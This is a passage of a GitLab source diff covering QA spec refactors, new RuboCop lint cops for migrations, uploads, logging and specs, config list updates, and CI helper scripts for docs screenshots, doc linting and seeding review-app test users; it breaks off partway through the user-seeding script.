.with(request.url, { allow_local_requests_from_web_hooks_and_services: true })
.and_return(Struct.new(:code).new(200))
- subject.set_application_settings(allow_local_requests_from_web_hooks_and_services: true)
+ described_class.set_application_settings(allow_local_requests_from_web_hooks_and_services: true)
end
end
@@ -37,7 +39,7 @@ describe QA::Runtime::ApplicationSettings do
.with(request.url)
.and_return(get_response)
- subject.get_application_settings
+ described_class.get_application_settings
end
end
end
diff --git a/qa/spec/runtime/namespace_spec.rb b/qa/spec/runtime/namespace_spec.rb
new file mode 100644
index 00000000000..d24fa509f30
--- /dev/null
+++ b/qa/spec/runtime/namespace_spec.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+describe QA::Runtime::Namespace do
+ include Helpers::StubENV
+
+ describe '.name' do
+ context 'when CACHE_NAMESPACE_NAME is not defined' do
+ before do
+ stub_env('CACHE_NAMESPACE_NAME', nil)
+ end
+
+ it 'caches name by default' do
+ name = described_class.name
+ expect(described_class.name).to eq(name)
+ end
+
+ it 'does not cache name when reset_cache is true' do
+ name = described_class.name
+ expect(described_class.name(reset_cache: true)).not_to eq(name)
+ end
+ end
+
+ context 'when CACHE_NAMESPACE_NAME is defined' do
+ before do
+ stub_env('CACHE_NAMESPACE_NAME', 'true')
+ end
+
+ it 'caches name by default' do
+ name = described_class.name
+ expect(described_class.name).to eq(name)
+ end
+
+ it 'caches name when reset_cache is false' do
+ name = described_class.name
+ expect(described_class.name(reset_cache: false)).to eq(name)
+ end
+
+ it 'does not cache name when reset_cache is true' do
+ name = described_class.name
+ expect(described_class.name(reset_cache: true)).not_to eq(name)
+ end
+ end
+ end
+
+ describe '.path' do
+ it 'is always cached' do
+ path = described_class.path
+ expect(described_class.path).to eq(path)
+ end
+ end
+end
diff --git a/qa/spec/spec_helper.rb b/qa/spec/spec_helper.rb
index 0f818b9f89a..81730c3ab13 100644
--- a/qa/spec/spec_helper.rb
+++ b/qa/spec/spec_helper.rb
@@ -2,6 +2,7 @@
require_relative '../qa'
require 'rspec/retry'
+require 'rspec-parameterized'
if ENV['CI'] && QA::Runtime::Env.knapsack? && !ENV['NO_KNAPSACK']
require 'knapsack'
@@ -12,9 +13,9 @@ QA::Runtime::Browser.configure!
QA::Runtime::Scenario.from_env(QA::Runtime::Env.runtime_scenario_attributes) if QA::Runtime::Env.runtime_scenario_attributes
-Dir[::File.join(__dir__, "support/helpers/*.rb")].each { |f| require f }
-Dir[::File.join(__dir__, "support/shared_contexts/*.rb")].each { |f| require f }
-Dir[::File.join(__dir__, "support/shared_examples/*.rb")].each { |f| require f }
+Dir[::File.join(__dir__, "support/helpers/*.rb")].sort.each { |f| require f }
+Dir[::File.join(__dir__, "support/shared_contexts/*.rb")].sort.each { |f| require f }
+Dir[::File.join(__dir__, "support/shared_examples/*.rb")].sort.each { |f| require f }
RSpec.configure do |config|
QA::Specs::Helpers::Quarantine.configure_rspec
diff --git a/rubocop/cop/avoid_route_redirect_leading_slash.rb b/rubocop/cop/avoid_route_redirect_leading_slash.rb
index d66e434dc9c..0b0dc7d3d33 100644
--- a/rubocop/cop/avoid_route_redirect_leading_slash.rb
+++ b/rubocop/cop/avoid_route_redirect_leading_slash.rb
@@ -7,10 +7,10 @@ module RuboCop
#
# @example
# # bad
- # root to: redirect('/-/instance/statistics/dev_ops_score')
+ # root to: redirect('/-/autocomplete/users')
#
# # good
- # root to: redirect('-/instance/statistics/dev_ops_score')
+ # root to: redirect('-/autocomplete/users')
#
class AvoidRouteRedirectLeadingSlash < RuboCop::Cop::Cop
diff --git a/rubocop/cop/gitlab/avoid_uploaded_file_from_params.rb b/rubocop/cop/gitlab/avoid_uploaded_file_from_params.rb
new file mode 100644
index 00000000000..599371aa5a1
--- /dev/null
+++ b/rubocop/cop/gitlab/avoid_uploaded_file_from_params.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+module RuboCop
+ module Cop
+ module Gitlab
+ # This cop checks for `UploadedFile.from_params` usage.
+ # See https://docs.gitlab.com/ee/development/uploads.html#how-to-add-a-new-upload-route
+ #
+ # @example
+ #
+ # # bad
+ # class MyAwfulApi < Grape::API::Instance
+ # params do
+ # optional 'file.path', type: String
+ # optional 'file.name', type: String
+ # optional 'file.type', type: String
+ # optional 'file.size', type: Integer
+ # optional 'file.md5', type: String
+ # optional 'file.sha1', type: String
+ # optional 'file.sha256', type: String
+ # end
+ # put '/files' do
+ # uploaded_file = UploadedFile.from_params(params, :file, FileUploader.workhorse_local_upload_path)
+ # end
+ # end
+ #
+ # # good
+ # class MyMuchBetterApi < Grape::API::Instance
+ # params do
+ # requires :file, type: ::API::Validations::Types::WorkhorseFile
+ # end
+ # put '/files' do
+ # uploaded_file = declared_params[:file]
+ # end
+ # end
+ class AvoidUploadedFileFromParams < RuboCop::Cop::Cop
+ MSG = 'Use the `UploadedFile` set by `multipart.rb` instead of calling `UploadedFile.from_params` directly. See https://docs.gitlab.com/ee/development/uploads.html#how-to-add-a-new-upload-route'
+
+ def_node_matcher :calling_uploaded_file_from_params?, <<~PATTERN
+ (send (const nil? :UploadedFile) :from_params ...)
+ PATTERN
+
+ def on_send(node)
+ return unless calling_uploaded_file_from_params?(node)
+
+ add_offense(node, location: :expression)
+ end
+ end
+ end
+ end
+end
diff --git a/rubocop/cop/gitlab/bulk_insert.rb b/rubocop/cop/gitlab/bulk_insert.rb
index c03ffbe0b2a..83d879ddf44 100644
--- a/rubocop/cop/gitlab/bulk_insert.rb
+++ b/rubocop/cop/gitlab/bulk_insert.rb
@@ -9,7 +9,7 @@ module RuboCop
MSG = 'Use the `BulkInsertSafe` concern, instead of using `Gitlab::Database.bulk_insert`. See https://docs.gitlab.com/ee/development/insert_into_tables_in_batches.html'
def_node_matcher :raw_union?, <<~PATTERN
- (send (const (const nil? :Gitlab) :Database) :bulk_insert ...)
+ (send (const (const _ :Gitlab) :Database) :bulk_insert ...)
PATTERN
def on_send(node)
diff --git a/rubocop/cop/gitlab/except.rb b/rubocop/cop/gitlab/except.rb
new file mode 100644
index 00000000000..24da6962457
--- /dev/null
+++ b/rubocop/cop/gitlab/except.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module RuboCop
+ module Cop
+ module Gitlab
+ # Cop that disallows the use of `Gitlab::SQL::Except`, in favour of using
+ # the `FromExcept` module.
+ class Except < RuboCop::Cop::Cop
+ MSG = 'Use the `FromExcept` concern, instead of using `Gitlab::SQL::Except` directly'
+
+ def_node_matcher :raw_except?, <<~PATTERN
+ (send (const (const (const nil? :Gitlab) :SQL) :Except) :new ...)
+ PATTERN
+
+ def on_send(node)
+ return unless raw_except?(node)
+
+ add_offense(node, location: :expression)
+ end
+ end
+ end
+ end
+end
diff --git a/rubocop/cop/gitlab/intersect.rb b/rubocop/cop/gitlab/intersect.rb
new file mode 100644
index 00000000000..4b61073b804
--- /dev/null
+++ b/rubocop/cop/gitlab/intersect.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module RuboCop
+ module Cop
+ module Gitlab
+ # Cop that disallows the use of `Gitlab::SQL::Intersect`, in favour of using
+ # the `FromIntersect` module.
+ class Intersect < RuboCop::Cop::Cop
+ MSG = 'Use the `FromIntersect` concern, instead of using `Gitlab::SQL::Intersect` directly'
+
+ def_node_matcher :raw_intersect?, <<~PATTERN
+ (send (const (const (const nil? :Gitlab) :SQL) :Intersect) :new ...)
+ PATTERN
+
+ def on_send(node)
+ return unless raw_intersect?(node)
+
+ add_offense(node, location: :expression)
+ end
+ end
+ end
+ end
+end
diff --git a/rubocop/cop/gitlab/rails_logger.rb b/rubocop/cop/gitlab/rails_logger.rb
index d1a06a9a100..ad35d2ccfbb 100644
--- a/rubocop/cop/gitlab/rails_logger.rb
+++ b/rubocop/cop/gitlab/rails_logger.rb
@@ -8,7 +8,7 @@ module RuboCop
class RailsLogger < ::RuboCop::Cop::Cop
include CodeReuseHelpers
- # This cop checks for the Rails.logger in the codebase
+ # This cop checks for the Rails.logger log methods in the codebase
#
# @example
#
@@ -17,34 +17,29 @@ module RuboCop
#
# # good
# Gitlab::AppLogger.error("Project %{project_path} could not be saved" % { project_path: project.full_path })
+ #
+ # # OK
+ # Rails.logger.level
MSG = 'Use a structured JSON logger instead of `Rails.logger`. ' \
'https://docs.gitlab.com/ee/development/logging.html'.freeze
- def_node_matcher :rails_logger?, <<~PATTERN
- (send (const nil? :Rails) :logger ... )
- PATTERN
+ # See supported log methods:
+ # https://ruby-doc.org/stdlib-2.6.6/libdoc/logger/rdoc/Logger.html
+ LOG_METHODS = %i[debug error fatal info warn].freeze
+ LOG_METHODS_PATTERN = LOG_METHODS.map(&:inspect).join(' ').freeze
- WHITELISTED_DIRECTORIES = %w[
- spec
- ].freeze
+ def_node_matcher :rails_logger_log?, <<~PATTERN
+ (send
+ (send (const nil? :Rails) :logger)
+ {#{LOG_METHODS_PATTERN}} ...
+ )
+ PATTERN
def on_send(node)
- return if in_whitelisted_directory?(node)
- return unless rails_logger?(node)
+ return unless rails_logger_log?(node)
add_offense(node, location: :expression)
end
-
- def in_whitelisted_directory?(node)
- path = file_path_for_node(node)
-
- WHITELISTED_DIRECTORIES.any? do |directory|
- path.start_with?(
- File.join(rails_root, directory),
- File.join(rails_root, 'ee', directory)
- )
- end
- end
end
end
end
diff --git a/rubocop/cop/migration/complex_indexes_require_name.rb b/rubocop/cop/migration/complex_indexes_require_name.rb
new file mode 100644
index 00000000000..82deb36716d
--- /dev/null
+++ b/rubocop/cop/migration/complex_indexes_require_name.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require_relative '../../migration_helpers'
+
+module RuboCop
+ module Cop
+ module Migration
+ class ComplexIndexesRequireName < RuboCop::Cop::Cop
+ include MigrationHelpers
+
+ MSG = 'indexes added with custom options must be explicitly named'
+
+ def_node_matcher :match_create_table_index_with_options, <<~PATTERN
+ (send _ {:index } _ (hash $...))
+ PATTERN
+
+ def_node_matcher :match_add_index_with_options, <<~PATTERN
+ (send _ {:add_index :add_concurrent_index} _ _ (hash $...))
+ PATTERN
+
+ def_node_matcher :name_option?, <<~PATTERN
+ (pair {(sym :name) (str "name")} _)
+ PATTERN
+
+ def_node_matcher :unique_option?, <<~PATTERN
+ (pair {(:sym :unique) (str "unique")} _)
+ PATTERN
+
+ def on_def(node)
+ return unless in_migration?(node)
+
+ node.each_descendant(:send) do |send_node|
+ next unless create_table_with_index_offense?(send_node) || add_index_offense?(send_node)
+
+ add_offense(send_node, location: :selector)
+ end
+ end
+
+ private
+
+ def create_table_with_index_offense?(send_node)
+ match_create_table_index_with_options(send_node) { |option_nodes| needs_name_option?(option_nodes) }
+ end
+
+ def add_index_offense?(send_node)
+ match_add_index_with_options(send_node) { |option_nodes| needs_name_option?(option_nodes) }
+ end
+
+ def needs_name_option?(option_nodes)
+ return false if only_unique_option?(option_nodes)
+
+ option_nodes.none? { |node| name_option?(node) }
+ end
+
+ def only_unique_option?(option_nodes)
+ option_nodes.size == 1 && unique_option?(option_nodes.first)
+ end
+ end
+ end
+ end
+end
diff --git a/rubocop/cop/migration/create_table_with_foreign_keys.rb b/rubocop/cop/migration/create_table_with_foreign_keys.rb
new file mode 100644
index 00000000000..01cab032049
--- /dev/null
+++ b/rubocop/cop/migration/create_table_with_foreign_keys.rb
@@ -0,0 +1,99 @@
+# frozen_string_literal: true
+
+require_relative '../../migration_helpers'
+
+module RuboCop
+ module Cop
+ module Migration
+ class CreateTableWithForeignKeys < RuboCop::Cop::Cop
+ include MigrationHelpers
+
+ MSG = 'Creating a table with more than one foreign key at once violates our migration style guide. ' \
+ 'For more details check the https://docs.gitlab.com/ce/development/migration_style_guide.html#examples'
+
+ def_node_matcher :create_table_with_block?, <<~PATTERN
+ (block
+ (send nil? :create_table ...)
+ (args (arg _var))
+ _)
+ PATTERN
+
+ def_node_search :belongs_to_and_references, <<~PATTERN
+ (send _var {:references :belongs_to} $...)
+ PATTERN
+
+ def_node_search :foreign_key_options, <<~PATTERN
+ (_pair
+ {(sym :foreign_key) (str "foreign_key")}
+ {(hash _) (true)}
+ )
+ PATTERN
+
+ def_node_search :to_table, <<~PATTERN
+ (_pair
+ {(sym :to_table) (str "to_table")} {(sym $...) (str $...)}
+ )
+ PATTERN
+
+ def_node_matcher :argument_name?, <<~PATTERN
+ {(sym $...) (str $...)}
+ PATTERN
+
+ def_node_search :standalone_foreign_keys, <<~PATTERN
+ (send _var :foreign_key $...)
+ PATTERN
+
+ def on_send(node)
+ return unless in_migration?(node)
+ return unless node.command?(:create_table)
+ return unless create_table_with_block?(node.parent)
+
+ add_offense(node) if violates?(node.parent)
+ end
+
+ private
+
+ def violates?(node)
+ tables = all_target_tables(node).uniq
+
+ tables.length > 1 && !(tables & high_traffic_tables).empty?
+ end
+
+ def all_target_tables(node)
+ belongs_to_and_references_foreign_key_targets(node) + standalone_foreign_key_targets(node)
+ end
+
+ def belongs_to_and_references_foreign_key_targets(node)
+ belongs_to_and_references(node).select { |candidate| has_fk_option?(candidate) }
+ .flat_map { |definition| definition_to_table_names(definition) }
+ .compact
+ end
+
+ def standalone_foreign_key_targets(node)
+ standalone_foreign_keys(node).flat_map { |definition| definition_to_table_names(definition) }
+ .compact
+ end
+
+ def has_fk_option?(candidate)
+ foreign_key_options(candidate.last).first
+ end
+
+ def definition_to_table_names(definition)
+ table_name_from_options(definition.last) || arguments_to_table_names(definition)
+ end
+
+ def table_name_from_options(options)
+ to_table(options).to_a.first&.first
+ end
+
+ def arguments_to_table_names(arguments)
+ arguments.select { |argument| argument_name?(argument) }
+ .map(&:value)
+ .map(&:to_s)
+ .map(&:pluralize)
+ .map(&:to_sym)
+ end
+ end
+ end
+ end
+end
diff --git a/rubocop/cop/migration/refer_to_index_by_name.rb b/rubocop/cop/migration/refer_to_index_by_name.rb
new file mode 100644
index 00000000000..fbf3c0d7030
--- /dev/null
+++ b/rubocop/cop/migration/refer_to_index_by_name.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+require_relative '../../migration_helpers'
+
+module RuboCop
+ module Cop
+ module Migration
+ class ReferToIndexByName < RuboCop::Cop::Cop
+ include MigrationHelpers
+
+ MSG = 'migration methods that refer to existing indexes must do so by name'
+
+ def_node_matcher :match_index_exists, <<~PATTERN
+ (send _ :index_exists? _ _ (hash $...) ?)
+ PATTERN
+
+ def_node_matcher :match_remove_index, <<~PATTERN
+ (send _ :remove_index _ $_)
+ PATTERN
+
+ def_node_matcher :match_remove_concurrent_index, <<~PATTERN
+ (send _ :remove_concurrent_index _ _ (hash $...) ?)
+ PATTERN
+
+ def_node_matcher :name_option?, <<~PATTERN
+ (pair {(sym :name) (str "name")} _)
+ PATTERN
+
+ def on_def(node)
+ return unless in_migration?(node)
+
+ node.each_descendant(:send) do |send_node|
+ next unless index_exists_offense?(send_node) || removing_index_offense?(send_node)
+
+ add_offense(send_node, location: :selector)
+ end
+ end
+
+ private
+
+ def index_exists_offense?(send_node)
+ match_index_exists(send_node) { |option_nodes| needs_name_option?(option_nodes) }
+ end
+
+ def removing_index_offense?(send_node)
+ remove_index_offense?(send_node) || remove_concurrent_index_offense?(send_node)
+ end
+
+ def remove_index_offense?(send_node)
+ match_remove_index(send_node) do |column_or_options_node|
+ break true unless column_or_options_node.type == :hash
+
+ column_or_options_node.children.none? { |pair| name_option?(pair) }
+ end
+ end
+
+ def remove_concurrent_index_offense?(send_node)
+ match_remove_concurrent_index(send_node) { |option_nodes| needs_name_option?(option_nodes) }
+ end
+
+ def needs_name_option?(option_nodes)
+ option_nodes.empty? || option_nodes.first.none? { |node| name_option?(node) }
+ end
+ end
+ end
+ end
+end
diff --git a/rubocop/cop/migration/safer_boolean_column.rb b/rubocop/cop/migration/safer_boolean_column.rb
index 25aaf42d00e..22d5d37a83d 100644
--- a/rubocop/cop/migration/safer_boolean_column.rb
+++ b/rubocop/cop/migration/safer_boolean_column.rb
@@ -37,7 +37,7 @@ module RuboCop
table, _, type = matched.to_a.take(3).map(&:children).map(&:first)
opts = matched[3]
- return unless WHITELISTED_TABLES.include?(table) && type == :boolean
+ return unless SMALL_TABLES.include?(table) && type == :boolean
no_default = no_default?(opts)
nulls_allowed = nulls_allowed?(opts)
diff --git a/rubocop/cop/rspec/timecop_freeze.rb b/rubocop/cop/rspec/timecop_freeze.rb
new file mode 100644
index 00000000000..508b5df7c7f
--- /dev/null
+++ b/rubocop/cop/rspec/timecop_freeze.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module RuboCop
+ module Cop
+ module RSpec
+ # This cop checks for `Timecop.freeze` usage in specs.
+ #
+ # @example
+ #
+ # # bad
+ # Timecop.freeze(Time.current) { example.run }
+ #
+ # # good
+ # freeze_time(Time.current) { example.run }
+ #
+ class TimecopFreeze < RuboCop::Cop::Cop
+ include MatchRange
+ MESSAGE = 'Do not use `Timecop.freeze`, use `freeze_time` instead. ' \
+ 'See https://gitlab.com/gitlab-org/gitlab/-/issues/214432 for more info.'
+
+ def_node_matcher :timecop_freeze?, <<~PATTERN
+ (send (const nil? :Timecop) :freeze ?_)
+ PATTERN
+
+ def on_send(node)
+ return unless timecop_freeze?(node)
+
+ add_offense(node, location: :expression, message: MESSAGE)
+ end
+
+ def autocorrect(node)
+ -> (corrector) do
+ each_match_range(node.source_range, /^(Timecop\.freeze)/) do |match_range|
+ corrector.replace(match_range, 'freeze_time')
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/rubocop/cop/rspec/top_level_describe_path.rb b/rubocop/cop/rspec/top_level_describe_path.rb
index 61796e23af0..3cc1ee8df90 100644
--- a/rubocop/cop/rspec/top_level_describe_path.rb
+++ b/rubocop/cop/rspec/top_level_describe_path.rb
@@ -21,7 +21,7 @@ module RuboCop
private
def acceptable_file_path?(path)
- File.fnmatch?('*_spec.rb', path) || File.fnmatch?('*/frontend/fixtures/*', path)
+ File.fnmatch?('*_spec.rb', path) || File.fnmatch?('*/frontend/fixtures/*', path) || File.fnmatch?('*/docs_screenshots/*_docs.rb', path)
end
def shared_example?(node)
diff --git a/rubocop/cop/static_translation_definition.rb b/rubocop/cop/static_translation_definition.rb
index 736d8767342..55956d9665b 100644
--- a/rubocop/cop/static_translation_definition.rb
+++ b/rubocop/cop/static_translation_definition.rb
@@ -21,6 +21,8 @@ module RuboCop
method_name = node.children[1]
return unless TRANSLATION_METHODS.include?(method_name)
+ translation_memoized = false
+
node.each_ancestor do |ancestor|
receiver, _ = *ancestor
break if lambda_node?(receiver) # translations defined in lambda nodes should be allowed
@@ -30,6 +32,14 @@ module RuboCop
break
end
+
+ translation_memoized = true if memoization?(ancestor)
+
+ if translation_memoized && class_method_definition?(ancestor)
+ add_offense(node, location: :expression)
+
+ break
+ end
end
end
@@ -38,6 +48,14 @@ module RuboCop
def constant_assignment?(node)
node.type == :casgn
end
+
+ def memoization?(node)
+ node.type == :or_asgn
+ end
+
+ def class_method_definition?(node)
+ node.type == :defs
+ end
end
end
end
diff --git a/rubocop/cop/usage_data/distinct_count_by_large_foreign_key.rb b/rubocop/cop/usage_data/distinct_count_by_large_foreign_key.rb
index c10ecbcb4ba..9fdf52dac8b 100644
--- a/rubocop/cop/usage_data/distinct_count_by_large_foreign_key.rb
+++ b/rubocop/cop/usage_data/distinct_count_by_large_foreign_key.rb
@@ -22,6 +22,7 @@ module RuboCop
def on_send(node)
distinct_count?(node) do |method_name, method_arguments|
next unless method_arguments && method_arguments.length >= 2
+ next if batch_set_to_false?(method_arguments[2])
next if allowed_foreign_key?(method_arguments[1])
add_offense(node, location: :selector, message: format(MSG, method_name))
@@ -31,11 +32,26 @@ module RuboCop
private
def allowed_foreign_key?(key)
- key.type == :sym && allowed_foreign_keys.include?(key.value)
+ [:sym, :str].include?(key.type) && allowed_foreign_keys.include?(key.value.to_s)
end
def allowed_foreign_keys
- cop_config['AllowedForeignKeys'] || []
+ (cop_config['AllowedForeignKeys'] || []).map(&:to_s)
+ end
+
+ def batch_set_to_false?(options)
+ return false unless options.is_a?(RuboCop::AST::HashNode)
+
+ batch_set_to_false = false
+ options.each_pair do |key, value|
+ next unless value.boolean_type? && value.falsey_literal?
+ next unless key.type == :sym && key.value == :batch
+
+ batch_set_to_false = true
+ break
+ end
+
+ batch_set_to_false
end
end
end
diff --git a/rubocop/migration_helpers.rb b/rubocop/migration_helpers.rb
index 355450bbf57..c26ba88f269 100644
--- a/rubocop/migration_helpers.rb
+++ b/rubocop/migration_helpers.rb
@@ -1,14 +1,13 @@
module RuboCop
# Module containing helper methods for writing migration cops.
module MigrationHelpers
- WHITELISTED_TABLES = %i[
+ # Tables with permanently small number of records
+ SMALL_TABLES = %i[
application_settings
plan_limits
].freeze
- # Blacklisted tables due to:
- # - number of columns (> 50 on GitLab.com as of 03/2020)
- # - number of records
+ # Tables with large number of columns (> 50 on GitLab.com as of 03/2020)
WIDE_TABLES = %i[
users
projects
@@ -21,6 +20,10 @@ module RuboCop
TABLE_METHODS = %i(create_table create_table_if_not_exists change_table).freeze
+ def high_traffic_tables
+ @high_traffic_tables ||= rubocop_migrations_config.dig('Migration/UpdateLargeTable', 'DeniedTables')
+ end
+
# Returns true if the given node originated from the db/migrate directory.
def in_migration?(node)
in_deployment_migration?(node) || in_post_deployment_migration?(node)
@@ -53,5 +56,13 @@ module RuboCop
def dirname(node)
File.dirname(node.location.expression.source_buffer.name)
end
+
+ def rubocop_migrations_config
+ @rubocop_migrations_config ||= YAML.load_file(File.join(rubocop_path, 'rubocop-migrations.yml'))
+ end
+
+ def rubocop_path
+ File.expand_path(__dir__)
+ end
end
end
diff --git a/rubocop/routes_under_scope.rb b/rubocop/routes_under_scope.rb
index 3f049bb09fa..7ffb0fd36f2 100644
--- a/rubocop/routes_under_scope.rb
+++ b/rubocop/routes_under_scope.rb
@@ -12,6 +12,7 @@ module RuboCop
def on_send(node)
return unless route_method?(node)
return unless outside_scope?(node)
+ return if root_route?(node)
add_offense(node)
end
@@ -25,5 +26,13 @@ module RuboCop
def route_method?(node)
ROUTE_METHODS.include?(node.method_name)
end
+
+ def root_route?(node)
+ first_argument = node.arguments.first
+
+ if first_argument.respond_to?(:value)
+ first_argument.value == '/'
+ end
+ end
end
end
diff --git a/rubocop/rubocop-migrations.yml b/rubocop/rubocop-migrations.yml
index f8820c0c6aa..a919d570ccc 100644
--- a/rubocop/rubocop-migrations.yml
+++ b/rubocop/rubocop-migrations.yml
@@ -11,6 +11,7 @@ Migration/UpdateLargeTable:
- :ci_stages
- :deployments
- :events
+ - :gitlab_subscriptions
- :issues
- :merge_request_diff_commits
- :merge_request_diff_files
diff --git a/rubocop/rubocop-usage-data.yml b/rubocop/rubocop-usage-data.yml
index 46e8a067431..9f594bc5817 100644
--- a/rubocop/rubocop-usage-data.yml
+++ b/rubocop/rubocop-usage-data.yml
@@ -4,6 +4,7 @@ UsageData/LargeTable:
- 'lib/gitlab/usage_data.rb'
- 'ee/lib/ee/gitlab/usage_data.rb'
NonRelatedClasses:
+ - :ActionMailer::Base
- :Date
- :Feature
- :Gitlab
@@ -37,10 +38,13 @@ UsageData/DistinctCountByLargeForeignKey:
- 'lib/gitlab/usage_data.rb'
- 'ee/lib/ee/gitlab/usage_data.rb'
AllowedForeignKeys:
- - :user_id
- - :author_id
- - :creator_id
- - :owner_id
- - :project_id
- - :issue_id
- - :merge_request_id
+ - 'agent_id'
+ - 'author_id'
+ - 'clusters.user_id'
+ - 'creator_id'
+ - 'issue_id'
+ - 'merge_request_id'
+ - 'merge_requests.target_project_id'
+ - 'owner_id'
+ - 'project_id'
+ - 'user_id'
diff --git a/scripts/docs_screenshots.rb b/scripts/docs_screenshots.rb
new file mode 100755
index 00000000000..e02d67de748
--- /dev/null
+++ b/scripts/docs_screenshots.rb
@@ -0,0 +1,60 @@
+#!/usr/bin/env ruby
+
+# frozen_string_literal: true
+
+require 'png_quantizator'
+require 'open3'
+require 'parallel'
+require_relative '../tooling/lib/tooling/images.rb'
+
+generator = ARGV[0]
+milestone = ARGV[1]
+
+unless generator
+ warn('Error: missing generator, please supply one')
+ abort
+end
+
+unless milestone
+ warn('Error: missing milestone, please supply one')
+ abort
+end
+
+def rename_image(file, milestone)
+ path = File.dirname(file)
+ basename = File.basename(file)
+ final_name = File.join(path, "#{basename}_v#{milestone}.png")
+ FileUtils.mv(file, final_name)
+end
+
+system('spring', 'rspec', generator)
+
+files = []
+
+Open3.popen3("git diff --name-only -- '*.png'") do |stdin, stdout, stderr, thread|
+ files.concat stdout.read.chomp.split("\n")
+end
+
+Open3.popen3("git status --porcelain -- '*.png'") do |stdin, stdout, stderr, thread|
+ files.concat stdout.read.chomp.split("?? ")
+end
+
+files.reject!(&:empty?)
+
+if files.empty?
+ puts "No file generated, did you select the right screenshot generator?"
+else
+ puts "Compressing newly generated screenshots"
+
+ Parallel.each(files) do |file|
+ file_path = File.join(Dir.pwd, file.to_s.strip)
+ was_uncompressed, savings = Tooling::Image.compress_image(file_path)
+ rename_image(file_path, milestone)
+
+ if was_uncompressed
+ puts "#{file} was reduced by #{savings} bytes."
+ else
+ puts "Skipping already compressed file: #{file}."
+ end
+ end
+end
diff --git a/scripts/frontend/check_page_bundle_mixins_css_for_sideeffects.js b/scripts/frontend/check_page_bundle_mixins_css_for_sideeffects.js
new file mode 100755
index 00000000000..a2bb9f56d84
--- /dev/null
+++ b/scripts/frontend/check_page_bundle_mixins_css_for_sideeffects.js
@@ -0,0 +1,36 @@
+#!/usr/bin/env node
+
+if (process.env.RAILS_ENV !== 'production') {
+ console.log(
+ `RAILS_ENV is not set to 'production': ${process.env.RAILS_ENV} - Not executing check`,
+ );
+ process.exit(0);
+}
+
+const path = require('path');
+const fs = require('fs');
+const glob = require('glob');
+const pjs = require('postcss');
+
+const paths = glob.sync('public/assets/page_bundles/_mixins_and_variables_and_functions*.css', {
+ cwd: path.join(__dirname, '..', '..'),
+});
+
+if (!paths[0]) {
+ console.log('Could not find mixins test file');
+ process.exit(1);
+}
+
+console.log(`Checking ${paths[0]} for side effects`);
+
+const file = fs.readFileSync(paths[0], 'utf-8');
+
+const parsed = pjs.parse(file);
+
+if (parsed.nodes.every(node => ['comment', 'atrule'].includes(node.type))) {
+ console.log('The file does not introduce any side effects, we are all good.');
+ process.exit(0);
+}
+
+console.log(`At least one unwanted style was introduced.`);
+process.exit(1);
diff --git a/scripts/lint-doc.sh b/scripts/lint-doc.sh
index 72e6334d0fc..4886323c836 100755
--- a/scripts/lint-doc.sh
+++ b/scripts/lint-doc.sh
@@ -55,7 +55,18 @@ then
((ERRORCODE++))
fi
-MD_DOC_PATH=${MD_DOC_PATH:-doc}
+# Run Vale and Markdownlint only on changed files. Only works on merged results
+# pipelines, so first checks if a merged results CI variable is present. If not present,
+# runs test on all files.
+if [ -z "${CI_MERGE_REQUEST_TARGET_BRANCH_SHA}" ]
+then
+ MD_DOC_PATH=${MD_DOC_PATH:-doc}
+ echo "Merge request pipeline (detached) detected. Testing all files."
+else
+ MERGE_BASE=$(git merge-base ${CI_MERGE_REQUEST_TARGET_BRANCH_SHA} ${CI_MERGE_REQUEST_SOURCE_BRANCH_SHA})
+ MD_DOC_PATH=$(git diff --name-only "${MERGE_BASE}..${CI_MERGE_REQUEST_SOURCE_BRANCH_SHA}" 'doc/*.md')
+ echo -e "Merged results pipeline detected. Testing only the following files:\n${MD_DOC_PATH}"
+ fi
function run_locally_or_in_docker() {
local cmd=$1
diff --git a/scripts/review_apps/review-apps.sh b/scripts/review_apps/review-apps.sh
index 59189c94cde..862c3b4bb62 100755
--- a/scripts/review_apps/review-apps.sh
+++ b/scripts/review_apps/review-apps.sh
@@ -147,13 +147,12 @@ function disable_sign_ups() {
run_task "${ruby_cmd}"
# Disable sign-ups
- retry 'curl --silent --show-error --request PUT --header "PRIVATE-TOKEN: ${REVIEW_APPS_ROOT_TOKEN}" "${CI_ENVIRONMENT_URL}/api/v4/application/settings?signup_enabled=false"'
+ local signup_enabled=$(retry 'curl --silent --show-error --request PUT --header "PRIVATE-TOKEN: ${REVIEW_APPS_ROOT_TOKEN}" "${CI_ENVIRONMENT_URL}/api/v4/application/settings?signup_enabled=false" | jq ".signup_enabled"')
- local signup_enabled=$(retry 'curl --silent --show-error --request GET --header "PRIVATE-TOKEN: ${REVIEW_APPS_ROOT_TOKEN}" "${CI_ENVIRONMENT_URL}/api/v4/application/settings" | jq ".signup_enabled"')
if [[ "${signup_enabled}" == "false" ]]; then
echoinfo "Sign-ups have been disabled successfully."
else
- echoerr "Sign-ups should be disabled but are still enabled!"
+ echoerr "Sign-ups are still enabled!"
false
fi
}
diff --git a/scripts/review_apps/seed-dast-test-data.sh b/scripts/review_apps/seed-dast-test-data.sh
new file mode 100644
index 00000000000..cba5859a1db
--- /dev/null
+++ b/scripts/review_apps/seed-dast-test-data.sh
@@ -0,0 +1,69 @@
+[[ "$TRACE" ]] && set -x
+
+function create_user() {
+ local user="${1}"
+
+ # API details at https://docs.gitlab.com/ee/api/users.html#user-creation
+ #
+ # We set "can_create_group=false" because we don't want the DAST user to create groups.
+ # Otherwise, the DAST user likely creates a group and enables 2FA for all group members,
+ # which leads to the DAST scan getting "stuck" on the 2FA set up page.
+ # Once https://gitlab.com/gitlab-org/gitlab/-/issues/231447 is resolved, we can use
+ # DAST_AUTH_EXCLUDE_URLS instead to prevent DAST from enabling 2FA.
+ curl --silent --show-error --header "PRIVATE-TOKEN: ${REVIEW_APPS_ROOT_TOKEN}" \
+ --data "email=${user}@example.com" \
+ --data "name=${user}" \
+ --data "username=${user}" \
+ --data "password=${REVIEW_APPS_ROOT_PASSWORD}" \
+ --data "skip_confirmation=true" \
+ --data "can_create_group=false" \
+ "${CI_ENVIRONMENT_URL}/api/v4/users" > /tmp/user.json
+
